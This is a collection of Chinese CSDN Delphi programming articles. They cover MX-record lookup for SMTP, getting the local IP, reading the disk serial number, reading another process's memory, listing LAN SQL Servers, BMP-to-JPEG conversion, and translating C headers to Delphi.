    SMTP Relay Server是如何确定远程邮局服务器的地址的呢？如果你熟悉域名解析，就知道是怎么回事了，我们知道电子邮件的地址由两部分构成postbox@address.com，邮箱（postbox）和地址（address.com），给域名服务器发送指令查询“address.com”的远程邮局服务器的地址即可找到远程邮局SMTP服务器的IP 地址，该指令查询是被称作MX(Mail Exchange)邮件交换服务器的地址查询。远程邮局SMTP服务器的地址可能不止一个，这时，你可根据信件优先级的不同，将对应优先级的信件发到对应地址的远程邮局SMTP服务器，当然，你也可以不管三七二十一，随便选一个SMTP服务器发送，见后附“域名解析结果样例”。简单吧。这下，自己编写一个SMTP Server不难了吧！

问题：头ID是个麻烦的事，有时会产生Invalid Head ID 5811的错误。

附：域名解析结果样例

Answer List

Resource name is : sina.com
Type is : MX Class is : IN
MX Priority : 10 MX Server : mailcn.sina.com

Resource name is : sina.com
Type is : MX Class is : IN
MX Priority : 15 MX Server : mail.sina.com.cn

Authority List

Resource name is : sina.com
Type is : NS Class is : IN
Domain name is : resolver.sina.com

Resource name is : sina.com
Type is : NS Class is : IN
Domain name is : ns2.sina.com

Additional Response List

Resource name is : mailcn.sina.com
Type is : A Class is : IN
IP Address is : 202.106.184.233

Resource name is : mail.sina.com.cn
Type is : A Class is : IN
IP Address is : 202.106.187.150

Resource name is : resolver.sina.com
Type is : A Class is : IN
IP Address is : 206.204.114.135

Resource name is : ns2.sina.com
Type is : A Class is : IN
IP Address is : 209.133.24.135


CSDN_文档中心_如何得到本机的ip地址!

program get_ip;
uses
winsock,sysutils;
VAR
ch : ARRAY[1..32] OF Char;
i : Integer;
WSData: TWSAData;
MyHost: PHostEnt;
begin
IF WSAstartup(2,wsdata)<>0 THEN
BEGIN
Writeln('can''t start Winsock: Error ',WSAGetLastError);
Halt(2);
END;
try
IF getHostName(@ch[1],32)<>0 THEN
BEGIN
Writeln('getHostName failed');
Halt(3);
END;
except
Writeln('getHostName failed');
halt(3);
end;
MyHost:=GetHostByName(@ch[1]);
IF MyHost=NIL THEN
BEGIN
Writeln(GetHostName('+StrPas(@ch[1])+') failed : Error
'+IntToStr(WSAGetLastError));
Halt(4);
END
ELSE
BEGIN
Write('address ');
FOR i:=1 TO 4 DO
BEGIN
Write(Ord(MyHost.h_addr^[i-1]));
IF i<4 THEN
write('.')
ELSE
writeln;
END;
END;
end.


CSDN_文档中心_如何得到硬盘物理序号

unit hdid;

interface

uses
Windows, Controls,SysUtils,Forms;
//, Graphics, Dialogs, Classes, Messages,StdCtrls;
type
TSrbIoControl = packed record
HeaderLength : ULONG;
Signature : Array[0..7] of Char;
Timeout : ULONG;
ControlCode : ULONG;
ReturnCode : ULONG;
Length : ULONG;
end;
SRB_IO_CONTROL = TSrbIoControl;
PSrbIoControl = ^TSrbIoControl;

TIDERegs = packed record
bFeaturesReg : Byte; // Used for specifying SMART "commands".
bSectorCountReg : Byte; // IDE sector count register
bSectorNumberReg : Byte; // IDE sector number register
bCylLowReg : Byte; // IDE low order cylinder value
bCylHighReg : Byte; // IDE high order cylinder value
bDriveHeadReg : Byte; // IDE drive/head register
bCommandReg : Byte; // Actual IDE command.
bReserved : Byte; // reserved. Must be zero.
end;
IDEREGS = TIDERegs;
PIDERegs = ^TIDERegs;

TSendCmdInParams = packed record
cBufferSize : DWORD;
irDriveRegs : TIDERegs;
bDriveNumber : Byte;
bReserved : Array[0..2] of Byte;
dwReserved : Array[0..3] of DWORD;
bBuffer : Array[0..0] of Byte;
end;
SENDCMDINPARAMS = TSendCmdInParams;
PSendCmdInParams = ^TSendCmdInParams;

TIdSector = packed record
wGenConfig : Word;
wNumCyls : Word;
wReserved : Word;
wNumHeads : Word;
wBytesPerTrack : Word;
wBytesPerSector : Word;
wSectorsPerTrack : Word;
wVendorUnique : Array[0..2] of Word;
sSerialNumber : Array[0..19] of Char;
wBufferType : Word;
wBufferSize : Word;
wECCSize : Word;
sFirmwareRev : Array[0..7] of Char;
sModelNumber : Array[0..39] of Char;
wMoreVendorUnique : Word;
wDoubleWordIO : Word;
wCapabilities : Word;
wReserved1 : Word;
wPIOTiming : Word;
wDMATiming : Word;
wBS : Word;
wNumCurrentCyls : Word;
wNumCurrentHeads : Word;
wNumCurrentSectorsPerTrack : Word;
ulCurrentSectorCapacity : ULONG;
wMultSectorStuff : Word;
ulTotalAddressableSectors : ULONG;
wSingleWordDMA : Word;
wMultiWordDMA : Word;
bReserved : Array[0..127] of Byte;
end;
PIdSector = ^TIdSector;

const
IDE_ID_FUNCTION = $EC;
IDENTIFY_BUFFER_SIZE = 512;
DFP_RECEIVE_DRIVE_DATA = $0007c088;
IOCTL_SCSI_MINIPORT = $0004d008;
IOCTL_SCSI_MINIPORT_IDENTIFY = $001b0501;
DataSize = sizeof(TSendCmdInParams)-1+IDENTIFY_BUFFER_SIZE;
BufferSize = SizeOf(SRB_IO_CONTROL)+DataSize;
W9xBufferSize = IDENTIFY_BUFFER_SIZE+16;
type
Thdidform = class(TForm)
private
{ Private declarations }
public

{ Public declarations }
end;

var
hdidform: Thdidform;
function GetIdeDiskSerialNumber : String;

implementation

{$R *.DFM}
procedure ChangeByteOrder( var Data; Size : Integer );
var ptr : PChar;
i : Integer;
c : Char;
begin
ptr := @Data;
for i := 0 to (Size shr 1)-1 do
begin
c := ptr^;
ptr^ := (ptr+1)^;
(ptr+1)^ := c;
Inc(ptr,2);
end;
end;

function GetIdeDiskSerialNumber : String;

var
hDevice : THandle;
cbBytesReturned : DWORD;
pInData : PSendCmdInParams;
pOutData : Pointer; // PSendCmdOutParams
Buffer : Array[0..BufferSize-1] of Byte;
srbControl : TSrbIoControl absolute Buffer;
begin
Result := '';
FillChar(Buffer,BufferSize,#0);
if Win32Platform=VER_PLATFORM_WIN32_NT then
begin // Windows NT, Windows 2000
// Get SCSI port handle
hDevice := CreateFile( '\\.\Scsi0:',
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING, 0, 0 );
if hDevice=INVALID_HANDLE_VALUE then Exit;
try
srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);
System.Move('SCSIDISK',srbControl.Signature,8);
srbControl.Timeout := 2;
srbControl.Length := DataSize;
srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;
pInData := PSendCmdInParams(PChar(@Buffer)
+SizeOf(SRB_IO_CONTROL));
pOutData := pInData;
with pInData^ do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
bDriveNumber := 0;
with irDriveRegs do
begin
bFeaturesReg := 0;
bSectorCountReg := 1;
bSectorNumberReg := 1;
bCylLowReg := 0;
bCylHighReg := 0;
bDriveHeadReg := $A0;
bCommandReg := IDE_ID_FUNCTION;
end;
end;
if not DeviceIoControl( hDevice, IOCTL_SCSI_MINIPORT,
@Buffer, BufferSize, @Buffer, BufferSize,
cbBytesReturned, nil ) then Exit;
finally
CloseHandle(hDevice);
end;
end
else
begin // Windows 95 OSR2, Windows 98
hDevice := CreateFile( '\\.\SMARTVSD', 0, 0, nil,
CREATE_NEW, 0, 0 );
if hDevice=INVALID_HANDLE_VALUE then Exit;
try
pInData := PSendCmdInParams(@Buffer);
pOutData := @pInData^.bBuffer;
with pInData^ do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
bDriveNumber := 0;
with irDriveRegs do
begin
bFeaturesReg := 0;
bSectorCountReg := 1;
bSectorNumberReg := 1;
bCylLowReg := 0;
bCylHighReg := 0;
bDriveHeadReg := $A0;
bCommandReg := IDE_ID_FUNCTION;
end;
end;
if not DeviceIoControl( hDevice, DFP_RECEIVE_DRIVE_DATA,
pInData, SizeOf(TSendCmdInParams)-1, pOutData,
W9xBufferSize, cbBytesReturned, nil ) then Exit;
finally
CloseHandle(hDevice);
end;
end;
with PIdSector(PChar(pOutData)+16)^ do
begin
ChangeByteOrder(sSerialNumber,SizeOf(sSerialNumber));
SetString(Result,sSerialNumber,SizeOf(sSerialNumber));
end;
end;

END.

//win98要 c:\windows\system\的smartvsd.vxd
//copy to c:\windows\system\iosubsys
//reboot your computer and ok
//2000 and nt do not need
得到硬盘物理序号:

uses hdid;

hdsn:=trim(GetIdeDiskSerialNumber);


CSDN_文档中心_如何访问一个进程的内存空间

如何访问一个进程的内存空间
在WIN32中，每个应用程序都可“看见”4GB的线性地址空间，其中最开始的
4MB和最后的2GB由操作系统保留，剩下不足2GB的空间用于应用程序私有空间。
具体分配如下：0xFFFFFFFF-0xC0000000的1GB用于VxD、存储器管理和文件系统；
0xBFFFFFFF-0x80000000的1GB用于共享的WIN32 DLL、存储器映射文件和共享存
储区；0x7FFFFFFF-0x00400000为每个进程的WIN32专用地址；0x003FFFFF-
0x00001000为MS-DOS 和 WIN16应用程序；0x00000FFF-0x00000000为防止使用
空指针的4,096字节。以上都是指逻辑地址，也就是虚拟内存。
虚拟内存通常是由固定大小的块来实现的，在WIN32中这些块称为“页”，
每页大小为4,096字节。在Intel CPU结构中，通过在一个控制寄存器中设置一位
来启用分页。启用分页时CPU并不能直接访问内存，对每个地址要经过一个映射
进程，通过一系列称作“页表”的查找表把虚拟内存地址映射成实际内存地址。
通过使用硬件地址映射和页表WIN32可使虚拟内存即有好的性能而且还提供保护。
利用处理器的页映射能力，操作系统为每个进程提供独立的从逻辑地址到物理地
址的映射，使每个进程的地址空间对另一个进程完全不可见。WIN32中也提供了
一些访问进程内存空间的函数，但使用时要谨慎，一不小心就有可能破坏被访问
的进程。本文介绍如何读另一个进程的内存，写内存与之相似，完善一下你也可
以做个 FPE 之类的内存修改工具。好吧，先准备好编程利器Delphi 和 参考手
册 MSDN ，开始了!
ReadProcessMemory 读另一个进程的内存，原形如下：
BOOL ReadProcessMemory(
HANDLE hProcess, // 被读取进程的句柄；
LPCVOID lpBaseAddress, // 读的起始地址；
LPVOID lpBuffer, // 存放读取数据缓冲区；
DWORD nSize, // 一次读取的字节数；
LPDWORD lpNumberOfBytesRead // 实际读取的字节数；
);
hProcess 进程句柄可由OpenProcess 函数得到，原形如下：
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问标志；
BOOL bInheritHandle, // 继承标志；
DWORD dwProcessId // 进程ID；
);
当然，用完别忘了用 CloseHandle 关闭打开的句柄。
读另一个进程的内存 dwDesiredAccess 须指定为 PROCESS_VM_READ ，
写另一个进程的内存 dwDesiredAccess 须指定为 PROCESS_VM_WRITE ，
继承标志无所谓，进程ID可由 Process32First 和 Process32Next 得到，
这两个函数可以枚举出所有开启的进程，这样进程的信息也就得到了。
Process32First 和 Process32Next是由 TLHelp32 单元提供的，需在
uses 里加上TLHelp32。ToolsHelp32 封装了一些访问堆、线程、进程等
的函数，只适用于Win9x，原形如下：
BOOL WINAPI Process32First(
HANDLE hSnapshot // 由 CreateToolhelp32Snapshot 返回
的系统快照句柄；
LPPROCESSENTRY32 lppe // 指向一个 PROCESSENTRY32 结构；
)；
BOOL WINAPI Process32Next(
HANDLE hSnapshot // 由 CreateToolhelp32Snapshot 返回
的系统快照句柄；
LPPROCESSENTRY32 lppe // 指向一个 PROCESSENTRY32 结构；
)；
hSnapshot 由 CreateToolhelp32Snapshot 返回的系统快照句柄；
CreateToolhelp32Snapshot 原形如下：
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, // 快照标志；
DWORD th32ProcessID // 进程ID；
);
现在需要的是进程的信息，所以将 dwFlags 指定为 TH32CS_SNAPPROCESS，
th32ProcessID 忽略；PROCESSENTRY32 结构如下：
typedef struct tagPROCESSENTRY32 {
DWORD dwSize; // 结构大小；
DWORD cntUsage; // 此进程的引用计数；
DWORD th32ProcessID; // 进程ID;
DWORD th32DefaultHeapID; // 进程默认堆ID；
DWORD th32ModuleID; // 进程模块ID；
DWORD cntThreads; // 此进程开启的线程计数；
DWORD th32ParentProcessID;// 父进程ID；
LONG pcPriClassBase; // 线程优先权；
DWORD dwFlags; // 保留；
char szExeFile[MAX_PATH]; // 进程全名；
} PROCESSENTRY32;
至此，所用到的主要函数已介绍完,实现读内存只要从下到上依次调用
上述函数即可，具体参见原代码：

procedure TForm1.Button1Click(Sender: TObject);
var
FSnapshotHandle:THandle;
FProcessEntry32:TProcessEntry32;
Ret : BOOL;
ProcessID : integer;
ProcessHndle : THandle;
lpBuffer:pByte;
nSize: DWORD;
lpNumberOfBytesRead: DWORD;
i:integer;
s:string;
begin
FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//创建系统快照
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
//先初始化 FProcessEntry32 的大小
Ret:=Process32First(FSnapshotHandle,FProcessEntry32);
while Ret do
begin
s:=ExtractFileName(FProcessEntry32.szExeFile);
if s='KERNEL32.DLL' then
begin
ProcessID:=FProcessEntry32.th32ProcessID;
s:='';
break;
end;
Ret:=Process32Next(FSnapshotHandle,FProcessEntry32);
end;
//循环枚举出系统开启的所有进程，找出“Kernel32.dll”
CloseHandle(FSnapshotHandle);
Memo1.Lines.Clear ;
memo1.lines.add('Process ID '+IntToHex(FProcessEntry32.th32ProcessID,8));
memo1.lines.Add('File name '+FProcessEntry32.szExeFile);
////输出进程的一些信息
nSize:=4;
lpBuffer:=AllocMem(nSize);
ProcessHndle:=OpenProcess(PROCESS_VM_READ,false,ProcessID);
memo1.Lines.Add ('Process Handle '+intTohex(ProcessHndle,8));
for i:=$00800001 to $0080005f do
begin
ReadProcessMemory(
ProcessHndle,
Pointer(i),
lpBuffer,
nSize,
lpNumberOfBytesRead
);
s:=s+intTohex(lpBuffer^,2)+' ';
//读取内容
if (i mod 16) =0 then
begin
Memo1.Lines.Add(s);
s:='';
end;
//格式化输出
end;
FreeMem(lpBuffer,nSize);
CloseHandle(ProcessHndle);
//关闭句柄，释放内存
end;
以上程序在 Delphi4 中文Win98 下调试通过。

(ypy@yeah.net)


CSDN_文档中心_如何获取局域网中的所有 SQL Server 服务器

如何获取局域网中的所有 SQL Server 服务器

文献参考来源：Delphi 深度探索

我一直想在我的应用程序中获得关于 SQL Server 更详细的信息。直到最近利用 SQLDMO(SQL Distributed Management Objects) 才得以实现这个想法。SQLDMO 提供了非常强大的功能，我们几乎可以利用程序实现任何 SQL Server 拥有的功能。在这篇文章中我将向您展示如何得到局域网中所有 SQL Servers 服务器、如何连接、如何获得服务器中的所有数据库。

SQLDMO 对像来自 SQL Server 2000 提供的动态连接库 SQLDMO.dll。 这个 dll 本身是一个 COM 对像，首先你必须从类型库中引用Microsoft SQLDMO Object Library (Version 8.0). Delphi 会自动为你生成SQLDMO_TLB.PAS文件,文件中包括了所有 COM 对象的接口。

在这里我们需要注意，由于引入的SQLDMO “TDatabase”和 “TApplication”和其它几个缺省类名与 Delphi 自带的类名冲突，所以自己可以修改成 _TypeName 的形式。或者其它的名字，我在这里改成 T_Application 、T_Database 等。

我们下一步要做的是在我们的程序中引入单元文件 SQLDMO_TLB.PAS 。 应用程序单元名称是 SqlServers

程序运行界面如下：

服务器列表中是局域网中所有的 SQL SERVER 服务器,选择服务器后输入用户名和密码，下拉数据库列表，程序会列出此服务器中的所有数据库.

程序源代码如下：

unit SqlServers;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Buttons, ComCtrls , SQLDMO_TLB;//注意别忘了引入此文件

type

TdmoObject = record

SQL_DMO : _SQLServer;

lConnected : boolean;

end;

type

TFormServersList = class(TForm)

Label1: TLabel;

Label2: TLabel;

CB_ServerNames: TComboBox;

CB_DataNames: TComboBox;

Label3: TLabel;

Label4: TLabel;

Ed_Login: TEdit;

Ed_Pwd: TEdit;

BitBtn1: TBitBtn;

BitBtn2: TBitBtn;

procedure FormCreate(Sender: TObject);

procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure FormShow(Sender: TObject);

procedure BitBtn2Click(Sender: TObject);

procedure CB_DataNamesDropDown(Sender: TObject);

private

server_Names : TStringList;

//对象集合

PdmoObject : array of TdmoObject;

//获取所有的远程服务器

Function GetAllServers(ServerList : TStringList) : Boolean;

{ Private declarations }

public

{ Public declarations }

end;

var

FormServersList: TFormServersList;

implementation

{$R *.DFM}

{ TForm1 }

Function TFormServersList.GetAllServers(ServerList : TStringList) : Boolean;

var

sApp : _Application ;

sName : NameList;

iPos : integer;

begin

Result := True ;

try

sApp := CoApplication_.Create ; //创建的对象不用释放，delphi 自己会释放

sName := sApp.ListAvailableSQLServers;

except

Result := False;

Exit;

end;

if sName.Count > 0 then // 之所以　iPos 从１开始,是因为0 位置为空值即 ' '

for iPos := 1 to sName.Count - 1 do

begin

CB_ServerNames.Items.Add(sName.Item(iPos));

ServerList.Add(sName.Item(iPos));

end;

end;

procedure TFormServersList.FormCreate(Sender: TObject);

var

lcv : integer;

begin

server_Names := TStringList.Create;

if not GetAllServers(server_Names) then

begin

Application.MessageBox('无法获取服务器列表,可能缺少客户端DLL库函数','错误提示',MB_OK);

exit;

end;

for lcv := 0 to server_Names.Count - 1 do

begin

SetLength(PdmoObject,lcv + 1);

with PdmoObject[lcv] do

begin

SQL_DMO := CoSQLServer.Create;

SQL_DMO.Name := Trim(server_Names[lcv]);

//登陆安全属性，NT 身份验证

SQL_DMO.LoginSecure := false;

// 设置一个连接超时

SQL_DMO.LoginTimeout := 3;

//自动重新登陆，如果第一次失败后

SQL_DMO.AutoReconnect := true;

SQL_DMO.ApplicationName := server_Names[lcv];

lConnected := false;

end;

end;

end;

procedure TFormServersList.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

server_Names.Free;

end;

procedure TFormServersList.FormClose(Sender: TObject; var Action: TCloseAction);

begin

Action := CaFree;

end;

procedure TFormServersList.FormShow(Sender: TObject);

begin

if CB_ServerNames.Items.Count > 0 then //列举所有服务器名字

CB_ServerNames.Text := CB_ServerNames.Items.Strings[0];

end;

procedure TFormServersList.BitBtn2Click(Sender: TObject);

begin

Close ;

end;

procedure TFormServersList.CB_DataNamesDropDown(Sender: TObject);

var

icount ,Server_B : integer;

begin

CB_DataNames.Clear;

Screen.Cursor := CrHourGlass;

Server_B := CB_ServerNames.Items.IndexOf(CB_ServerNames.Text) ;

with PdmoObject[Server_B].SQL_DMO do

begin

if not PdmoObject[Server_B].lConnected then

try

Connect(Name,Trim(Ed_Login.Text),Trim(Ed_Pwd.Text));

except

Screen.Cursor := CrDefault ;

Application.MessageBox('请检查用户名或密码是否正确','连接失败',MB_OK);

Exit ;

end;

if not VerifyConnection(SQLDMOConn_ReconnectIfDead) then

begin

ShowMessage('在试图连接到SQL SERVER 2000 时出现错误' + #10#13 +

'确信是否加在了动态连接库SQLDMO.DLL');

exit;

end else

PdmoObject[Server_B].lConnected := True ;

Databases.Refresh(true);

for icount := 1 to Databases.Count do

CB_DataNames.Items.Add(Databases.Item(icount,null).name);

end;

Screen.Cursor := CrDefault ;

end

end.


CSDN_文档中心_如何将bmp文件转换为jpg文件，请问在Delphi中要怎样转换才能装入 jpg文件？

如何将bmp文件转换为jpg文件，请问在Delphi中要怎样转换才能装入 jpg文件？

回答网友问题：
=========================================================================〉
: 如何将bmp文件转换为jpg文件，请问在Delphi中要怎样转换才能装入
: jpg文件？
:
<========================================================================
这位网友，如果你使用Delphi4，注意到它的TImage支持的文件格式可以为*.Jpg,*.Jpeg,*.bmp,*.ico……这个问题将很好解决！
下面是源代码：
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
procedure TForm1.Button1Click(Sender: TObject);
(*压缩MBP为JPEG;但是没有提供压缩比可选项
凑合用吧，大概1/3 ^_^:
Note:必须加上JPEG到Uses单元
*)
var
MyJPEG : TJPEGImage;
MyBMP : TBitmap;
begin
MyBMP := TBitmap.Create;
with MyBMP do
try
LoadFromFile('e:\lm.BMP'); //你的图片位置
MyJPEG := TJPEGImage.Create;
with MyJPEG do begin
Assign(MyBMP);
CompressionQuality:=10; //压缩比例
Compress;
SaveToFile('e:\lm01.JPEG');//保存路径……
Free;
end;
finally
Free;
end;
end;


CSDN_文档中心_如何将C/C++程序转译成Delphi(八)

3.6. Structures, Records

3.6.1. Simple Structures

C structures are similar to records in Delphi. Structures are usually defined with the typedef keyword, but it's also possible to do it with #define.

The format of a structure declaration is

{Struct|Union} [OptIdentifier] [TagName]
{ FieldDefinitions [; ...]}
[Name [...]]

You can ignore the TagName. It's used in C for subsequent references to the structure.

This is how the fields within a structure are defined:

#define RASENTRYNAMEA struct tagRASENTRYNAMEA

RASENTRYNAMEA

{

    DWORD dwSize;

    CHAR  szEntryName[ RAS_MaxEntryName + 1 ];

};

This C declaration defines a record (structure) named RASENTRYNAMEA. The Delphi-style name would be TRASENTRYNAMEA. This structure contains two fields: the first is named dwSize and has the type DWord. The second field is an array of char with RAS_MaxEntryName + 1 elements.

The Delphi translation:

TYPE

  PRASEntryName = ^TRASEntryName

  TRASEntryName = Record

    dwSize : DWORD;

    szEntryName : Array [0..RAS_MaxEntryName] of Char

  end

Remember, you may not declare the array of char with a range from 0 to RAS_MaxEntryName+1. The reason is, that in C the number of elements is specified, but in Delphi the range of elements. Read more in the chapters about Arrays and Strings.

Back to contents

3.6.2 Unions in Structures

C unions in structures are comparable to variant parts of records in Delphi. Blocks declared in a union structure are not consecutive but overlaid.

typedef struct _PROCESS_HEAP_ENTRY {

    PVOID lpData;

    DWORD cbData;

    BYTE cbOverhead;

    BYTE iRegionIndex;

    WORD wFlags;

    union {

        struct {

            HANDLE hMem;

            DWORD dwReserved[ 3 ];

        } Block;

        struct {

            DWORD dwCommittedSize;

            DWORD dwUnCommittedSize;

            LPVOID lpFirstBlock;

            LPVOID lpLastBlock;

        } Region;

    };

} PROCESS_HEAP_ENTRY, *LPPROCESS_HEAP_ENTRY, *PPROCESS_HEAP_ENTRY;

This is the translation into Delphi:

type

  PProcessHeapEntry = ^TProcessHeapEntry;

  TProcessHeapEntry = Record

    lpData: Pointer;

    cbData: DWord;

    cbOverhead: Byte;

    iRegionIndex: Byte;

    wFlags: Word;

    case Integer of

      0: (Block: Record

            hMem: Thandle

            Reserved : Array [0..2] of DWord;

          end);

      1: (Region: Record

            dwCommittedSize: DWord;

            dwUnCommittedSize: DWord;

            lpFirstBlock: Pointer;

            lpLastBlock: Pointer

          end);

  end;


CSDN_文档中心_如何将C/C++程序转译成Delphi(二)

. Anatomy of a C Header

Back to contents

## to do

2. Conversion Basics

2.1. Naming

The naming in converted header files should follow Borland's style as far as possible. This means, keep the original names, but make them more Delphi-like.

How should the C names be translated into Delphi?

The C-programmer usually uses upper case letters for type identifiers, e.g. MY_TYPE. In Delphi, a type identifier has a T-prefix followed by the name of the type in mixed (proper) case. Underscores are not used. The Delphi-like translation of the C type identifier MY_TYPE is TMyType.

In C older header files the pointer-type is named LPMY_TYPE. In translation to Delphi it should be PMyType to conform with Borland's style.

Constants are usually named identically to the original name, including upper case letters and underscores.

A few examples:

C Delphi-Translation

typedef struct _IMAGE_FILE_HEADER {
  WORD Machine;
  WORD NumberOfSections;
  DWORD TimeDateStamp;
  DWORD PointerToSymbolTable;
  DWORD NumberOfSymbols;
  WORD SizeOfOptionalHeader;
  WORD Characteristics;
} IMAGE_FILE_HEADER,
*PIMAGE_FILE_HEADER; 		type
  PImageFileHeader = ^TImageFileHeader;
  TImageFileHeader = packed record
    Machine: Word;
    NumberOfSections: Word;
    TimeDateStamp: DWORD;
    PointerToSymbolTable: DWORD;
    NumberOfSymbols: DWORD;
    SizeOfOptionalHeader: Word;
    Characteristics: Word;
  end;

#define LANG_NEUTRAL 0x00
#define LANG_AFRIKAANS 0x36
#define LANG_ALBANIAN 0x1C
#define LANG_ARABIC 0x01
#define LANG_BASQUE 0x2D
#define LANG_BELARUSIAN 0x23
#define LANG_BULGARIAN 0x02
#define LANG_CATALAN 0x03
#define LANG_CHINESE 0x04 		CONST
  LANG_NEUTRAL = $00;
  LANG_AFRIKAANS = $36;
  LANG_ALBANIAN = $1C;
  LANG_ARABIC = $01;
  LANG_BASQUE = $2D;
  LANG_BELARUSIAN = $23;
  LANG_BULGARIAN = $02;
  LANG_CATALAN = $03;
  LANG_CHINESE = $04;


CSDN_文档中心_如何将C/C++程序转译成Delphi(九)

Case Integer of starts the variant part of the record. Each variant is identified by an ordinal value. This value has no meaning when the type is being used, but is required for declaration.

Please note the difference between a variant (case-) record and a record without case-declaration.

The following translation is wrong:

type

  PProcessHeapEntry = ^TProcessHeapEntry;

  TProcessHeapEntry = Record

    lpData: Pointer;

    cbData: DWord;

    cbOverhead: Byte;

    iRegionIndex: Byte;

    wFlags: Word;

    Block: Record

       hMem: Thandle

       Reserved : Array [0..2] of DWord;

    end;

    Region: Record

      dwCommittedSize: DWord;

      dwUnCommittedSize: DWord;

      lpFirstBlock: Pointer;

      lpLastBlock: Pointer

    end);

  end;

This wrong translation would cause Block and Region to be consecutive in memory, and not overlaid, as follows:

LpData, cbData, cbOverhead, iRegionIndex, wFlags HMem, dwReserved DwCommittedSize, dwUnCommittedSize, lpFirstBlock, lplastBlock

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(六)

3.4. Strings

In C, as in Delphi, a string is an array of char types. Often, a string declaration is used in combination with a constant declaration specifying the maximum string length, as the following example shows:

#define RAS_MaxEntryName 256

#define RASENTRYNAMEA struct tagRASENTRYNAMEA

RASENTRYNAMEA

{

  DWORD dwSize;

  CHAR szEntryName[ RAS_MaxEntryName + 1 ];

};

The first line declares a constant RAS_MaxEntryName with the value 256 specifying the maximum length of the string. The lines after it declare a struct (record) which contains a null-terminated string:

CHAR szEntryName[ RAS_MaxEntryName + 1 ];

The Delphi translation:

szEntryName : Array [0..RAS_MaxEntryName] of Char;

Why not Array [0..RAS_MaxEntryName+1] of Char? Recall that a C array starts with 0 and the declaration specifies the number of elements. Thus, Array [0..RAS_MaxEntryName+1] in Delphi is equivalent to [RAS_MaxEntryName+2] in C.

Back to contents

3.5. Enumerations - Two Methods

Enumerated types can be translated in two ways.

Method 1:

typedef enum _FINDEX_INFO_LEVELS {

FindExInfoStandard,

FindExInfoMaxInfoLevel

} FINDEX_INFO_LEVELS;

This part of a C-header file translates easily to Delphi:

Type

  TFindExInfoLevels = (FindExInfoStandard,

                       FindExInfoMaxInfoLevel);

The ordinal Value of the item FindExInfoStandard is 0. In Delphi each enumeration starts with 0.

Method 2:

The following C-declaration is more problematic:

typedef enum _ACL_INFORMATION_CLASS {

AclRevisionInformation = 1,

AclSizeInformation

} ACL_INFORMATION_CLASS

The "= 1" in the declaration forces C to start with the ordinal value 1. This is not possible in Delphi.

There are two ways to solve the problem.

Solution a): Declare the enumeration as

TACLInformationClass = (_Fill0,

                        AclRevisionInformation,

                        AclSizeInformation);

Solution b): Translate the enumeration as

CONST

  AclRevisionInformation = 1;

  AclSizeInformation = 2;

TYPE

  TACLInformationClass = DWord;

That's no problem for this example. But in C it's possible to specify the ordinal value of each item of the enumeration, for example:

Typedef enum _ENUMEXAMPLE {

  Item1 = 5,

  Item2 = 10,

} ENUMEXAMPLE;

Using enumeration in Delphi the declaration would have to be done like this:

TEnumExample = (_Fill0,

                _Fill1,

                _Fill2,

                _Fill3,

                _Fill4,

                Item1,

                _Fill6,

                _Fill7,

                _Fill8,

                _Fill9,

                Item2);

This is hard to read and clumsy to maintain.

This works better:

CONST

  Item1 = 5;

  Item2 = 10;

TYPE

  TEnumExample = DWord;

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(七)

Here is a real-world example from the winnt.h, which is not possible to translate to a native enumerated type:

//

// Start Type

//

#define SERVICE_BOOT_START             0x00000000

#define SERVICE_SYSTEM_START           0x00000001

#define SERVICE_AUTO_START             0x00000002

#define SERVICE_DEMAND_START           0x00000003

#define SERVICE_DISABLED               0x00000004

//

//

//

typedef enum _CM_SERVICE_LOAD_TYPE {

    BootLoad    = SERVICE_BOOT_START,

    SystemLoad  = SERVICE_SYSTEM_START,

    AutoLoad    = SERVICE_AUTO_START,

    DemandLoad  = SERVICE_DEMAND_START,

    DisableLoad = SERVICE_DISABLED

} SERVICE_LOAD_TYPE;

The ordinal values of the items in the enumeration SERVICE_LOAD_TYPE depend on the constants declared above it. This is not possible in Delphi. The only way to translate it is:

//

// Start Type

//

CONST

  SERVICE_BOOT_START = $00000000;

  SERVICE_SYSTEM_START = $00000001;

  SERVICE_AUTO_START = $00000002;

  SERVICE_DEMAND_START = $00000003;

  SERVICE_DISABLED = $00000004;

  //

  //

  //

CONST

  BootLoad = SERVICE_BOOT_START;

  SystemLoad = SERVICE_SYSTEM_START;

  AutoLoad = SERVICE_AUTO_START;

  DemandLoad = SERVICE_DEMAND_START;

  DisableLoad = SERVICE_DISABLED;

TYPE

  TServiceLoadType = DWord;

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(三)

2.2. Unit dependencies

C and C++ use #include to include header files in another header file or a source file. Delphi refers to units (in the USES clause) instead of header files.

For example

  • D3D.H includes D3DTYPES.H, D3DCAPS.H
  • D3DTYPES.H includes DDRAW.H
  • One unit contains one translation of a header file, so incorporation of D3DTYPES.H and D3DCAPS.H is required when translating D3D.H.

Thus the translation of D3D.H (D3D.PAS) needs D3DTYPES.PAS and D3DCAPS.PAS in uses.

In Windows.pas Borland has already done a lot of work for us. Borland's windows unit contains most of the basic Windows datatypes, so any translated unit needing Windows datatypes needs the Windows unit in its uses clause.

